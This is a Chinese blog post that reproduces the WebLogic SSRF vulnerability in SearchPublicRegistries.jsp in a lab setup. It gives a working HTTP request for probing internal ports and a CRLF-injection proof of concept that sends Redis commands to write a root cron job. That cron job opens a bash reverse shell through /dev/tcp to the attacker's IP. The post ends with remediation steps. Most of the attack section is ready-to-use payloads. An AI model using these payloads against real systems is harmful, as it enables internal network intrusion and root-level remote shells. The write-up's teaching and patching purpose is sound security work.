Weblogic SSRF漏洞

1、漏洞描述

    SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。
  SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
该漏洞危害:

1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service(请求大文件,始终保持连接Keep-Alive Always)

2、复现环境:

 攻击机(kali):192.168.4.157

 目标机(ubuntu):192.168.4.128

 内网redis服务器:172.18.0.2

3、漏洞复现:

 SSRF漏洞存在于http://192.168.4.128:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。

 

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: 192.168.4.128:7001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type。
did not have a valid SOAP content-type

 修改为一个不存在的端口,将会返回could not connect over HTTP to server


通过错误的不同,即可探测内网状态。

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

发送三条redis命令,将弹shell脚本写入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.4.157/1236 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aa

 

进行URL编码:set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.4.157%2F1236%200%3E%261%5Cn%5Cn%5Cn%

 poc:

http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.4.157%2F1236%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa

 通过上面反弹shell脚本的执行,成功反弹内网redis服务器的shell

 4、修复方法:

    方法一:
         删除uddiexplorer文件夹
         限制uddiexplorer应用只能内网访问
 方法二:
      将SearchPublicRegistries.jsp直接删除

 方法三:
    Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:
        将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
        将weblogic安装目录下的server/lib/uddiexplorer.war下载
        用winrar等工具打开uddiexplorer.war
        将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
        保存后上传回服务端替换原先的uddiexplorer.war
        对于多台主机组成的集群,针对每台主机都要做这样的操作
        由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台–启server–启应用)

posted @   kalibb  阅读(626)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
历史上的今天:
2020-04-21 通过shift漏洞对win7和win10漏洞进行登录密码破解
点击右上角即可分享
微信分享提示